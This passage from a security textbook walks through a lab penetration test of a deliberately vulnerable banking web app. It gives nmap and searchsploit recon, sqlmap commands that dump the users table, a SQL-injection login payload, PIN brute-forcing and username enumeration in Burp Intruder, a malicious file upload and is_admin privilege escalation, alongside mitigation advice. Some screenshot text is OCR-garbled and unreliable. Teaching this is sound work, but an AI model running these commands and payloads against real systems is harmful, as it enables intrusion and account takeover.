:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false

:: Calibration

:: Timeout 3

:: Threads T 40

:: Matcher : Response status: 200,302

Figure 7.35 FUZZ content discovery.

E(upes@UPES)—h]

$ nmap -A 127.0.0.1

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 01:29 EDT

Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 01:31 (0:00:18 remaining)
Stats: 0:01:00 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 01:31 (0:00:20 remaining)

Nmap scan report for localhost (127.0.9.1)

Host is up (0.00014s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.23)

| _http-server-header: Werkzeug/2.0.1 Python/3.9.23

|_http-title: Vulnerable Bank

5000/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.23)
|_http-server-header: Werkzeug/2.0.1 Python/3.9.23

|_http-title: Vulnerable Bank

5432/tcp open postgresql PostgreSQL DB 14.7 - 14.9

Figure 7.36 Aggressive scan.

web application, which can be useful in security testing and reconnaissance. Notice: Targets
of interest: /api/docs, /static/, /uploads/, API versioned paths - /api/v1/ and /api/v2/.

Figure 7.36 presents the Nmap aggressive scan (-A) that enables multiple advanced fea-
tures of Nmap at once, including operating system detection, version detection, script scan-
ning, and traceroute. When used on localhost (the system you are currently on), it attempts to
identify the operating system fingerprint, determine the versions of running services, and exe-
cute Nmap Scripting Engine (NSE) scripts for deeper analysis. This provides a more detailed
picture of what is running on the host compared to a basic scan. While aggressive scans can
be very informative, they also generate more traffic and may be resource-intensive, so they
should be used carefully, especially against remote or production systems.

After completing the aggressive scan, the next step is to focus on targeted service enumera-
tion by scanning ports individually with specialized scripts. For port 5000, which is com-
monly associated with web applications or development servers like Flask, Nmap can be run
with HTTP-related NSE scripts to extract information such as page titles, server headers,
supported request methods, and potential directory listings. This helps in identifying how the
application is configured and whether it exposes sensitive details. For port 5432, the default
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port for PostgreSQL databases, PostgreSQL-specific scripts (pgsql-*) can be used to gather
service details, check authentication mechanisms, and detect possible misconfigurations.
Performing these scans separately provides more precise insights into the security posture of
both the web application and the database, ensuring that weaknesses at either layer can be
identified and addressed effectively.

Figure 7.37 presents the command $ sudo nmap -p 5000 -sV --script=http.title, header,
server-headers, http-methods, http-enum localhost to scan the local system for web services
running on port 5000, which is often used by development servers such as Flask or other cus-
tom applications. The -sV option enables version detection to identify the specific software
and version running on that port, while the included NSE scripts provide deeper analysis of
the web service. For example, http.title attempts to retrieve the webpage title, server-headers
and http headers reveal server response headers, http-methods lists allowed HTTP request
methods, and http-enum tries to enumerate common directories or applications hosted on
the server. Altogether, this command gives a detailed picture of the web service’s configura-
tion, behavior, and potential exposure points, making it useful for reconnaissance, security
testing, and debugging.

Figure 7.38 presents the command $ sudo nmap -p 5432 -sV --script "pgsql-*" local-
host to scan the local system for PostgreSQL database services running on port 5432. This

E(upes@ UPES)-[~]

$ nmap -p 5000 -sV —script=http-title,http-headers,http-server-header,http-methods,http-enum localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 01:33 EDT

Nmap scan report for localhost (127.0.0.1)

Host is up (0.00012s latency).

Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE VERSION

5000/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.23)
|_http-title: Vulnerable Bank

| http-methods:

|_ Supported Methods: GET HEAD OPTIONS

| http-headers:

| Content-Type: text/html; charset=utf-8

|  Content-Length: 42273

| Access-Control-Allow-Origin: *

| Server: Werkzeug/2.0.1 Python/3.9.23

| Date: Tue, 19 Aug 2025 05:33:15 GMT

|
|
|

(Request type: HEAD)
_http-server-header: Werkzeug/2.0.1 Python/3.9.23

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.09 seconds

Figure 7.37 NMAP script scan for port 5000.

L—(upes@ UPES)-[~]

$ nmap -p 5432 -sV —script "pgsql-*" localhost

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 01:52 EDT

Stats: 0:01:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.83% done; ETC: 01:54 (0:00:02 remaining)

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000099s latency).

Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 14.7 - 14.9

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 404.44 seconds

Figure 7.38 Script on port 5432.
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is the default port for PostgreSQL, and the -sV option enables version detection, allow-
ing Nmap to identify the PostgreSQL server version and related service details. The --script
"pgsql-*" argument runs all NSE scripts related to PostgreSQL to check for authentication
mechanisms, gather server information, and sometimes detect misconfigurations or potential
security issues. By running this command on localhost, an administrator or security tester
can gain insights into the database setup, validate service exposure, and ensure that the
PostgreSQL instance is properly secured against unauthorized access.

7.3 OFFENSIVE SECURITY ASSESSMENTS

This is a security process that focuses on identifying, analyzing, and prioritizing weaknesses
in computer systems, networks, or applications. It involves using automated tools and man-
ual techniques to scan for misconfigurations, outdated software, unpatched services, and
insecure practices that could be exploited by attackers. Unlike penetration testing, which
attempts to actively exploit vulnerabilities, VA is non-intrusive and aims to provide a clear
picture of the organization’s security posture. The results of a vulnerability assessment help
security teams understand potential risks, prioritize remediation efforts, and strengthen
defenses before adversaries can take advantage of them. This makes VA a critical step in
maintaining proactive cybersecurity and compliance with industry standards.

After completing the scans, we identified that the vulnerable banking application is run-
ning specific versions of PostgreSQL, Python, and the Werkzeug framework. Knowing the
exact versions of these components is crucial, as it helps in determining whether they con-
tain known vulnerabilities. To proceed, we use tools like SearchSploit along with manual
research on exploit databases and security advisories to look for publicly available exploits
or misconfiguration issues related to these versions. Based on the findings, we can then plan
our attack path in a structured manner, focusing on the most relevant vulnerabilities. This
approach ensures that the exploitation phase is guided by accurate reconnaissance, reducing
guesswork and increasing the likelihood of successful penetration while mimicking a real-
world adversary’s methodology.

Begin with PostgreSQL, focusing on version 14 identified during the scan. Using
SearchSploit, Figure 7.39 displays the publicly available exploits associated with the general
14.x release.

To narrow the search, Figure 7.40 displays the research vulnerabilities impacting PostgreSQL
14.9 by checking exploit databases, official advisories, and trusted security resources on the
web. This helps in identifying version-specific weaknesses and corresponding exploits that
could potentially be leveraged during the attack phase.

[—(upes@UPES)—[ﬂ
L $ sudo searchsploit PostgreSQL 14

Exploit Title

PnPSCADA v2.x - Unauthenticated PostgreSQL Injection

PostgreSQL - 'bitsubstr’' Buffer Overflow

PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service
PostgreSQL 8.3.6 - Low Cost Function Information Disclosure

PostgreSQL 8.4.1 - JOIN Hashtable Size Integer Overflow Denial of Service
PostgreSQL 9.4-0.5.3 - Privilege Escalation

Figure 7.39 Use Searchsploit for specific app version.
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Postgresql » Postgresql » 14.9 : Security Vulnerabilities, CVEs
cpe:2.3:a:postgresql:postgresql:14.9:x x ki x %k %

Publishedin: =~ 2025 January February March Aprii May June July August

CVSS Scores GreaterThan: 0 1 2 3 4 5 6 7 8 9 In CISA KEV Catalog

Sort Results By : Publish Date 13 Update Date 13 CVE Number {3 CVE Number t3 CVSS Scorels EPSS Score 13

CVE-2025-8715

Improper neutralization of newlines in pg_dump in PostgreSQL allows a user of the origin server to inject arbitrary
code for restore-time execution as the client operating system account running psq| to restore the dump, via psql
meta-commands inside a purpose-crafted object name. The same attacks can achieve SQL injection as a superuser
of the restore target server. pg_dumpall, pg_restore, and pg_upgrade are also affected. Versions before PostgreSQL

17.6, 16.10, 15.14, 14.19, and 13.22 are affected. Versions before 11.20 are unaffected. CVE-2012-0868 had fixed this
Source: PostgreSQL

CVE-2025-8714

Untrusted data inclusion in pg_dump in PostgreSQL allows a malicious superuser of the origin server to inject arbitrary
code for restore-time execution as the client operating system account running psq| to restore the dump, via psql
meta-commands. pg_dumpall is also affected. pg_restore is affected when used to generate a plain-format dump.

This is similar to MySQL CVE-2024-21096. Versions before PostgreSQL 17.6, 16.10, 15.14, 14.19, and 13.22 are affected.
Source: PostgreSQL

Figure 7.40 PostgreSQL exploits.

E(upes &S UPES)-[~]

$ sudo searchsploit Werkzeug

Exploit Title

Pallets Werkzeug 0.15.4 - Path Traversal
Werkzeug - ‘Debug Shell® Command Execution
Werkzeug - Debug Shell Command Execution (Metasploit)

Figure 7.41 Searchsploit for web application.

Figure 7.41 presents the repose for investigating the Werkzeug application to check for
known vulnerabilities. Again, using SearchSploit discover a directory traversal vulnerability
and a remote code execution (RCE) vulnerability for the release as shown in Figure 7.40.

Figure 7.42 displays the critical risks within the application’s framework that could poten-
tially be exploited to gain unauthorized access or execute arbitrary commands on the server.

We also examined the Python environment, focusing on version 3.9.23, as shown in Figure
7.43. By using SearchSploit and conducting additional research on the web, check for known
vulnerabilities and security issues tied to this specific release. This ensures potential weak-
nesses in the underlying programming language or runtime are not overlooked during the
assessment.

7.4 OFFENSIVE SECURITY PENTESTS

This phase involves a simulated cyberattack carried out to evaluate the security of a sys-
tem, network, or application by identifying and attempting to exploit vulnerabilities. Unlike
vulnerability assessments that only highlight weaknesses, a pen test goes a step further by
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Bl Remote Code Execution (RCE) [ birectory Traversal

Affected versions of this package are vulneradle to Remote Code Execution (RCE) due to g is a WSGI web library.

insfficient hostname checks and the use of relative paths to resolve requests. When the .

debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a Affected versions of this package are vulnerable to Directory Traversal due to a bypass for

domain and subdomain they control, and thereby cause malicious code to be executed os.path. isabs (), which allows the improper handling of UNC paths beginning with /, in
the safe_join() function. This allows an attacker to read some files on the affected server,

The demonstrated attack vector requires a number of conditions that render this attack very if they are stored in an affected path.

difficult to achieve, especially if the victim application is running in the recommended

configuration of not having the debugger enabled in production. Note: This is only exploitable on Windows systems using Python versions prior to 3.11

How to fix Remote Code Execution (RCE)? How to fix Directory Traversal?

Upgrade werkzeug to version 3.0.3 or higher Upgrade Werkzeug to version 3.0.6 or higher.

Figure 7.42 Werkzeug vulnerabilities.

L—(upes@ UPES)-[~]
$ sudo searchsploit Python 3.9.23

Exploit Title

LibreOffice < 6.2.6 Macro - Python Code Execution (Metasploit)
Plone - 'in_portal.py' < 4.1.3 Session Hijacking

Figure 7.43 Python vulnerabilities.

actively testing how those weaknesses could be leveraged by real attackers. The process
typically includes reconnaissance, scanning, exploitation, and post-exploitation activities,
all performed in a controlled and authorized manner. Penetration testing helps organiza-
tions understand the real-world impact of security flaws, assess the effectiveness of existing
defenses, and prioritize remediation based on actual risks. By replicating adversarial tactics,
pen tests provide valuable insights that strengthen overall cybersecurity posture and ensure
compliance with industry standards.

The user captures the login request using Burp Suite and forwards it to the Repeater mod-
ule, where the credentials are modified to test for possible SQL injection. After sending the
modified request, receiving a 200 OK response indicates that the injection attempt was suc-
cessfully processed by the server, confirming the presence of a potential SQL injection vulner-
ability, as shown in Figure 7.44.

The captured login request was saved with the name vulnbank from the vulnerable bank
application, and then SQLMap was executed on it to test for SQL injection. The command
$ sudo sqlmap -r vulnbank -p username --batch --dbs --ignore-code 500,401 --risk 3 uses
the saved request file (-r) and targets the username parameter (-p username) as illustrated
in Figure 7.45. The --batch option runs SQLMap in non-interactive mode, automatically
choosing default answers, while --dbs instructs it to enumerate the available databases. The
--ignore-code 500,401 flag ensures that SQLMap disregards server errors or unauthorized
responses, and --risk 3 increases the intensity of the tests by trying riskier payloads. This
allows for a thorough and automated assessment of possible SQL injection vulnerabilities in
the application.

To extend the SQL injection further, the saved request file from the vulnerable bank appli-
cation was used with the command $ sudo sqlmap -r vulnbank -p username --batch -D public
--tables --ignore-code 500,401 --risk 3 as displayed in Figure 7.46. In this case, SQLMap is
instructed to target the username parameter while specifically focusing on the public data-
base (-D public). The --tables option directs SQLMap to enumerate all the tables within
that database, providing deeper insight into its structure. Just like before, --batch ensures
automated execution without manual prompts, while --ignore-code 500,401 filters out irrel-
evant server errors or unauthorized responses. The --risk 3 flag increases the intensity of the
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Content-Type: application/json
Accept: */%

Origin: http://172.18.0.3:5000
Referer: http://172.18.0.3:5000/10gin
Accept-Encoding: gzip, deflate, br
Gonnestion: keep:alive

{
“username":"abc",
“password" :"abc"

origin: http://172.18.0.3:5000
Referer: http://172.18.0.3:5000/10gin
Accept-Encoding: gzip, deflate, br
Connection: keep:alive
{
“"username":"damm'OR+'1l'='1"'--",
"password":"abc"

Figure 7.44 Request capturing and modification.

Server: Werkzeug/2.0.1 Python/3.9.23
Date: Sat, 16 Aug 2025 14:17:24 GHT

{

“debug_info":{
“attempted_username”:"abc",
“time":"2025-08-16 14:17:24,478838"

},

"message”:"Invalid credentials”,

“status":"error"

{

"accountNumber":"ADMINOOL",

"debug_info":{
"account_number":"ADMINOOL",
"is_admin":true,
"login_time":"2025-08-16 14:11:39.836453",
"user_id":1,
"username": "admin"

3,

"isAdmin":true,

“message”:"Login successful",

Metatne" Menrrace”

Figure 7.46 Table enumeration.
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payloads used, allowing for a more comprehensive injection attempt. This step is essential for
mapping out the database schema and identifying sensitive information, such as user creden-
tials or transaction records, that may be stored.

In the next phase, the SQL injection is extended to target the users table within the public
database, which typically stores login credentials and other user-related information. Figure
7.47 presents the command $ sudo sqlmap -r vulnbank -p username --batch -D public -T
users --dump --ignore-code 500,401 --risk 3. Here, the -D public specifies the database,
-T users focus on the specific table, and --dump instructs SQLMap to extract its contents.
As before, the --batch option ensures the process runs automatically, while --ignore-code
500,401 filters out unhelpful server responses. With --risk 3, SQLMap uses more advanced
payloads to maximize the chances of data extraction. This step is critical because once the
user’s table is exposed, it can reveal sensitive information such as usernames, hashed or plain-
text passwords, and other personal details, which could be leveraged for further exploitation
or privilege escalation.

PIN Bruteforce attack is performed using Burp Suite during the password reset functional-
ity of the application. In this scenario, an attacker must already know a valid username to
initiate the reset process. Once the username is provided, the application sends a PIN code
(used as a verification step) that can be systematically brute forced by automating requests
in Burp Suite Intruder. By iterating through all possible PIN combinations, the attacker can
eventually guess the correct one. Successfully bypassing this verification grants unauthorized

[19:44:50] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL

[19:44:50] [INFO] fetching columns for table ‘users' in database ‘public’
[19:44:50] [WARNING] reflective value(s) found and filtering out
[19:44:50] [INFO] retrieved: ‘"account_number’
[19:44:50] [INFO] retrieved: 'text’

[19:44:50] [INFO] retrieved: ‘balance’

[19:44:51] [INFO] retrieved: ‘numeric’

[19:44:51] [INFO] retrieved: 'id*

[19:44:51] [INFO] retrieved: 'int4’

[19:44:51] [INFO] retrieved: 'is_admin’
[19:44:51] [INFO] retrieved: ‘bool’

[19:44:51] [INFO] retrieved: ‘password’
[19:44:51] [INFO] retrieved: 'text'

[19:44:51] [INFO] retrieved: ‘profile_picture'
[19:44:51] [INFO] retrieved: ‘text'

[19:44:51] [INFO] retrieved: ‘reset_pin'
[19:44:51] [INFO] retrieved: ‘text'

[19:44:51] [INFO] retrieved: ‘username’
[19:44:51] [INFO] retrieved: ‘text'

[19:44:51] [INFO] fetching entries for table 'users' in database ‘public’
[19:44:51] [INFO] retrieved: 'ADMIN@O1"
[19:44:51] [INFO] retrieved: '1000000.00"
[19:44:51] [INFO] retrieved: ‘1°

[19:44:51] [INFO] retrieved: ‘true’

[19:44:51] [INFO] retrieved: ‘admin123‘*
[19:44:51] [INFO] retrieved: ' °*

[19:44:51] [INFO] retrieved: ' *

[19:44:51] [INFO] retrieved: ‘admin’

[19:44:51] [INFO] retrieved: '1793739915°
[19:44:51] [INFO] retrieved: '1000.00°

[19:44:51] [INFO] retrieved: "2°

[19:44:51] [INFO] retrieved: ‘false'

[19:44:51] [INFO] retrieved: ‘userl’
[19:44:51] [INFO] retrieved: * *
[19:44:51] [INFO] retrieved: * '
[19:44:51] [INFO] retrieved: ‘'userl’

Database: public
Table: users
[2 entries]

id | balance is_admin | password | username | reset_pin | account_number | profile_picture

true | admin123 | admin | NULL | ADMIN@@1
false | useri | useri | NULL | 1793739915

NULL

2 | 1000.00 NULL

S e s o e o}
£ ey e Y
. 4

|
| 1 | 1000000.00
|

Figure 7.47 User table exposed.



212 Beyond The Invisible Nexus

access to the account, allowing the attacker to reset the password and take over the user’s
profile. This type of weakness highlights the danger of relying on short, predictable PINs for
authentication or recovery processes, and emphasizes the need for stronger security controls
such as rate limiting, account lockout mechanisms, or multi-factor authentication.

The attack begins by clicking on the “Forgot Password” option and entering a valid user-
name to request a reset PIN. Normally, this PIN is sent to the user’s registered email address
as part of the password recovery process, as shown in Figure 7.48.

However, instead of retrieving the email, the attacker attempts to reset the password directly
by entering the username, a random 3-digit PIN, and the desired new password. This request
is captured using Burp Suite, as shown in Figure 7.49. The request is then forwarded to the
Intruder module, where the PIN field is marked with $ signs to indicate the injection point.
A custom payload file containing all possible 3-digit numeric PIN combinations (000-999)
is loaded into the payload section, and a Sniper attack is launched. During the brute-force
process, most attempts fail; however, at request number 609, a response with 200 OK status
is observed, indicating the correct PIN was guessed successfully. This allows the attacker to
reset the password and gain unauthorized access to the victim’s account.

Reset Password
Forgot Password

l Reset PIN has been sent to your email.
userl

m
user]

Request Reset PIN

Back to Login

Reset Password

Backto Login

API Version: v2 AP| Version: v2
Figure 7.48 Reset password without knowing PIN.
@ [ soperatack B v T Papaids
Payioad position: |
Target | hittp:/172.18.035000 Update Host header to matchtarget Paylordtype Simple st
Payloadcount: 1,000
Positions Adds Clears Auto§ Request count: 1,000
1 POST /2pisvz/reset-password HITP/1.1 Payload configuration
2 Host: 172.18.0.3:5000
3 Content-Length: 6L o
4 Accept-Language: en-US,en;q=C.2 ple list of
User-Agent: Mozilla/S.0 1; Linux x85_64) ApplenebKit/537.36 (KHTM.. like Gecko) Chrone/136.0.0.0 Safari/537.35
Content-Type: applicatic Paste 000
7 Accept: ¥/* 001
5 Origin: http://172.18.0.3:5000 Lod.. 002
9 Referer: http://172.18.06.3:5000/reset-password 003
o Accept-Enceding: gzip, ceflste, br Remove s
1 Cookie: tokens o s
€y J0= X104 IKVLQALCIHbGCi0i TUZ LN 19, ey I c2Vy X2L kTj 0zNCwi dXN. cShbILA 03 J1.c 2VyMSTsTnl 2X2r kbiVLuT pnYxz 25w sh01j ox HzULNOKSH; 92FQ. dicedbA_S2)JkB- 1ethy 63 0E
Thkuj SVIAVITRIVS- GvE Deduplicate )| cor
2 Connection: keep-alive 003
:
4 {"username®:“userl®,"reset_pin*:"SEII§". “new_password”:“userz'} 005
V Capture filter: Capturingallitems.
W View filter: Hiding 3xx, 4xxand 5xx responses
Request Payload Status code Response received Error Timeout Length Comment
609 608 200 61 293

Figure 7.49 Capture request and start attack.
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Username enumeration is a vulnerability that occurs when an application unintentionally
reveals whether a specific username exists in its system. This often happens during login,
registration, or password reset processes, where error messages or response behaviors differ
depending on whether the username is valid or not. For example, an application might return
“Invalid username” for a nonexistent account but “Invalid password” for an existing one,
thereby confirming the presence of that user in the system. Attackers can exploit this flaw
by automating requests with tools like Burp Suite or custom scripts to collect a list of valid
usernames, which can later be used in brute-force, credential stuffing, or social engineer-
ing attacks. To prevent username enumeration, applications should use generic error mes-
sages, apply rate limiting, and monitor unusual request patterns to reduce the risk of account
compromise.

To test for username enumeration, the attacker begins by clicking on the “Forgot Password”
option and entering a random username. This request is captured in Burp Suite and for-
warded to the Intruder, where the username field is marked with $ to define the injection
point. A payload list containing possible username combinations is then loaded, and a Sniper
attack is launched, as shown in Figure 7.50.

During the attack, responses returning a 200 OK status code indicate valid usernames
within the application. Once a list of authentic users is identified, the attack can be escalated
further by attempting to brute-force passwords, potentially leading to full account compro-
mise, as displayed in Figure 7.51.

Insecure token storage on the client side is a security weakness that arises when sensitive
authentication tokens, such as session IDs, JWTs, or API keys, are stored in locations that can
be easily accessed or manipulated by attackers. Common insecure storage practices include
saving tokens in local storage, session storage, or insecure cookies without proper flags
like HttpOnly and Secure. If a token is exposed through cross-site scripting (XSS), browser
exploitation, or device compromise, an attacker can hijack the user’s session and gain unau-
thorized access to the application. This risk is especially critical because tokens often serve

Forgot Password

abc

Request Reset PIN

Back to Login

APl Version: v2

Figure 7.50 Forgot password option.
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1 POST /api/v2/forget -password HTTP/1.1 Payloadconfiguration
HOST: 172.18.0,3:5000
3 Content-Length: 18
4 Accept-Language: en-GB,en;q=0.9 Thispayload type lets you configure asimple
5 User-Agent: Mozilla/5.C (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/s37.36
5 Content-Type: application/)son Paste user
wsert
tp://172.18.0.3:5000 Load.. demo
er: http://172.18.0.3:5000/forgot-password user2
Encoding: gzip, deflate, br Remows user3

i
. : Qear admin
IKVL0iLCIhbGei01 ITUZI1NL J9. ey J1c2Vy X21k T3 01LCI1c2VybnFt ZSI6INVZZXIOT L wiaXIIf YARt al4iOnZabHNLLCJpYXOi0j ESNTULMI TzNTHO . rENSF45Ve 0 SLTHINREYNCALE0V e —
Ibj vk Deduplicate

qMbj v
onnection: keep-alive
2 {"username": "SENES"}

Add
Add from list.. [Pro version enly]

'V Capture filter: Capturingallitems.

7 View filter: Hiding 31, 4xxand Sxx responses

Request Payload Status code Response received Error Timeout Length Comment
2 user! 200 9 392
4 user2 200 16 392
5 user3 200 6 392
6 admin 200 2 392

Figure 7.51 Capture request and start attack.

Figure 7.52 Unsecure cookie storage.

as the only proof of authentication in stateless applications. To mitigate the issue, developers
should follow secure storage practices such as using HttpOnly, Secure, and SameSite cookies,
encrypting tokens where possible, implementing short expiration times, and combining token
storage with multi-factor authentication and server-side validations.

By opening the developer tools in the browser and navigating to the Application tab, you
can view stored cookies under the Cookies section of the sidebar. Selecting the application’s
domain (e.g., localhost) reveals the authentication cookie, which may contain sensitive ses-
sion information. If cookies are not properly secured, an attacker could also steal them
through a cross-site scripting (XSS) attack by injecting malicious JavaScript that accesses
cookies (e.g., via document.cookie) and sends them to an external server. Once obtained, the
attacker can reuse the cookie to impersonate the user, effectively hijacking the session and
gaining unauthorized access to the application. This highlights the importance of securing
cookies with flags such as HttpOnly, Secure, and SameSite, as well as sanitizing user input to
prevent XSS attacks, as illustrated in Figure 7.52.

A file upload vulnerability occurs when a web application allows users to upload files with-
out properly validating or restricting them, potentially enabling attackers to upload mali-
cious content. This flaw can be exploited to bypass security controls and execute harmful
actions, such as uploading a web shell, malware, or scripts that allow RCE on the server.
Common issues include the lack of file type validation, insufficient checks on file extensions,
improper handling of MIME types, or storing uploaded files in publicly accessible directories.
An attacker could, for instance, upload a PHP, ASP, or JSP shell disguised as an image and
then execute it to gain unauthorized access or control of the system. To mitigate this risk,
developers should enforce strict file validation, use whitelists for allowed file types, rename
or sanitize uploaded files, store them outside the webroot, and implement strong monitoring
to detect abnormal upload activity.
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Figure 7.53 displays the option to upload a Profile Picture, which can be exploited due to
an insecure file upload vulnerability. The application does not validate the file type, meaning
it accepts any uploaded file instead of restricting it to safe formats such as .jpg or .png. An
attacker can take advantage of this weakness by uploading a malicious file, such as an evil.dll
to establish a backdoor, or even a bash script or .exe file, depending on the underlying server
and target environment.

Once uploaded, these files can be executed to gain unauthorized access, escalate privileges,
or compromise the entire system. This kind of vulnerability is highly dangerous, as it gives
attackers direct control over the server if not mitigated, as shown in Figure 7.54. To prevent
such exploits, strict server-side file validation, content-type verification, storage outside the
webroot, and execution restrictions must be implemented. Insecure file handling is a vulner-
ability that occurs when an application exposes or mishandles file paths, allowing an attacker
to gain knowledge about where media or other sensitive files are stored on the server. For
example, when a user uploads an image or document, the application might return the full
file system path (e.g., /var/www/app/uploads/profile/image.png) instead of a sanitized or rela-
tive URL. This information disclosure can help an attacker understand the server’s directory
structure, which can then be leveraged for further attacks such as path traversal, file inclu-
sion, or direct access to restricted files.

In some cases, predictable file storage mechanisms also allow attackers to guess filenames
or URLs of private media belonging to other users. To mitigate this risk, applications should
avoid exposing absolute paths, generate random file names, restrict direct file access, and
implement proper access controls to ensure only authorized users can retrieve stored media.
Figure 7.55 displays the option to upload a Profile Picture, and once the image is uploaded,
the attacker intercepts the request using Burp Suite for further analysis.

Profile

Change Profile Picture

Figure 7.53 Profile picture upload.

Profile
vuln-bank
B 3digitpin.txt 40kB  Text
B evildll 1 bytes Program ®
B vulnbank 3.2kB  Markup

Upload successful

Figure 7.54 Malicious file uploaded.
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B 3digitpin.txt 4.0kB  Text Sat

B evil.dll Tbytes Program Yesterday

Time Type Direction Method URL
00:22:1... HTTP > Request POST http://172.18.0.3:5000/upload_profile_picture

Figure 7.55 Request capture.

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 135
Access-Control -Allov-Origin: http://172.18.0.3:5000
Vary: Origin
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Mon, 18 Aug 2025 18:52:42 GMT

POST /upload_grofile_picture HTTP/1.1

Host: 172.18.0.3:5000

Content -Length: 4198

Authorization: Bearer

ey J0eXAi01IKVIQiLCIhbGei0i JTUZIINL I9. ey J1c2Vy X2k Ij oyLCILc2VybnFt ZSI6InVzZXIxTiwiaXNfYWRt aW41OnZhbHNLLCIp
YXQ1i.0j E3NTULNDMWNTAS . 00LUVL fSHe VSOnFfNmzcy ZDSVK cEHx rek VHL ABFZr VA

Accept-Languace: en-GB,en;q=0.9

User-Agent: Mczilla/5.0 (X11; Linux x86_64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/137.0.0.0
Safari/s37.36

Content-Type: multipart/forn-data; boundary=----WebKitFormBoundarypaTxSCsFLjatnyou

Accept: */*

Origin: http://172.18.0.3:5000

Referer: http://172.18.0.3:5000/dashboard

Accept-Encodirg: gzip, deflate, b

Cookie: token=

ey J0eXA10i IKV1QiLCIhbGei0i JTUZIING J9. ey J1c2Vy X2UKIj oyLCI1c2VybmFt ZSIEInVZZXIx Tiwi aXNFYWRt aW4iOnZhbHNLLCIp
YXQi0j E3NTULNDMWNTAS. 00LUVL fSHeVSOnFfNmzcy ZDSVk cEHx rek VHL ABFZr VA

{
"file_path":"s=atic/uploads/45862_3digitpin.txt",
“message”:"Profile picture uploaded successfully”,
"status":"success"

SONFoLvaNAVBWNF

------ WebKitrcrmBoundarypal xSUsHLj atnyou
Content-Disposition: form-data; name="profile_picture”; filename="3digitpin.txt"
Content-Type: text/plain

Figure 7.56 Repeater module.

The captured request is then forwarded to the Repeater module in Burp Suite and sent to
the server. In the server’s response, the file_path is revealed within the headers, as shown in
Figure 7.56.

If the attacker attempts to access this file path directly, including through localhost, they
are able to view the file contents, as demonstrated in Figure 7.57.

Privilege escalation is a security issue that occurs when an attacker or a regular user gains
higher access rights than intended, allowing them to perform unauthorized actions. It is typi-
cally categorized into two types: vertical privilege escalation, where a lower-privileged user
(e.g., a normal account) gains administrative or root-level access, and horizontal privilege
escalation, where a user accesses another user’s data or functions without proper autho-
rization. Attackers exploit privilege escalation vulnerabilities through misconfigurations,
unpatched software, weak access controls, or insecure coding practices. Once elevated privi-
leges are obtained, they can execute sensitive commands, access restricted data, or even take
full control of the system. Preventing privilege escalation requires enforcing the principle of
least privilege, regularly patching systems, implementing strong authentication and authori-
zation checks, and monitoring for abnormal user activity.

An attacker could exploit this vulnerability during the user registration process by inter-
cepting the request and manipulating the is_admin header value from false to true. Since the
application does not properly validate this parameter, the attacker would successfully register
an account with administrative privileges, thereby gaining unauthorized access to restricted
features and sensitive functionalities. Figure 7.58 shows the Create Account option.

Figure 7.59 illustrates the captured registration request that is forwarded to the Repeater
and then sent to the server. In the server’s response, the attacker discovers the presence of the
is_admin header, which indicates whether the account is assigned administrative privileges.
This exposure gives the attacker the opportunity to manipulate the value of the header and
escalate their privileges within the application.

The attacker then resends the registration request, this time modifying the is_admin header
value to true while submitting the user credentials. Since the application does not validate this
parameter properly, the request is processed successfully, and a 200 OK response is returned
by the server. As a result, the newly created account is granted administrative privileges,
giving the attacker unauthorized control over the application, as displayed in Figure 7.60.
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(@ A Notsecure 172.18.0.3:5000

Figure 7.57 Uploaded file content.

Create Account

hacker

Already have an account? Login

Figure 7.58 Create account option.
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Negative amount transfer vulnerability in a banking application occurs when the system
fails to validate input values during money transfer operations. Instead of restricting trans-
actions to positive amounts, the application accepts negative values. As a result, when an
attacker enters a negative transfer amount, the logic error causes their own account balance
to increase instead of decreasing. For example, if an attacker submits a transfer of 1000,
instead of deducting funds, the application credits the attacker’s account with that amount.
This flaw directly undermines the integrity of financial transactions and can be exploited to
perform unlimited balance manipulations, leading to severe financial loss for the institution.
To prevent this, strict input validation should be enforced on all transaction fields, ensuring
only positive numerical values are processed, along with proper server-side checks and trans-
action auditing. Figure 7.61 displays users’ accounts’ current balance, and the user is trying
to transfer a negative amount.

POST /register HTTP/1.1 1 HTTP/1.0 200 0K
Host: 172.18.0.3:5000

2 Content-Type: application/json
Content-Length: 35

5 Content-Length: 589

Accept-Language: en-GB, en; 4 X-Debug-Info: {'user_id': 10, ‘username’: 'bcd’, 'account_nusber': '6658618725', 'balance’
U agent Msita/e.6 bo1: Cinue X86_64) AppleNebKit/537.36 (KHTML, like Gecko) Chrome/137.3.0.0 *is_admin': False, 'Tegistration time': '2025-08-18 17:01708.296 server_info’ mu\h/s o (a1
safari/s37.36

Like Gecko) Chrome/137. afari/537.36', 'rav_data

i 'bed'), 'fields_registered': ['username’, ‘password’, ‘account_nusber’]}
5 X-User-Info: id=10:admin=False; balance=1000.00

6 Access-Control-Allov-Origini http://172.18.0,3:5000

Referer: http://172,18.0.3:5000/register 7 Vary: ori

Accept-Encoding: gzip, deflate, or 5 Server: Werkzeug/2.0.1 Python/3.9.23

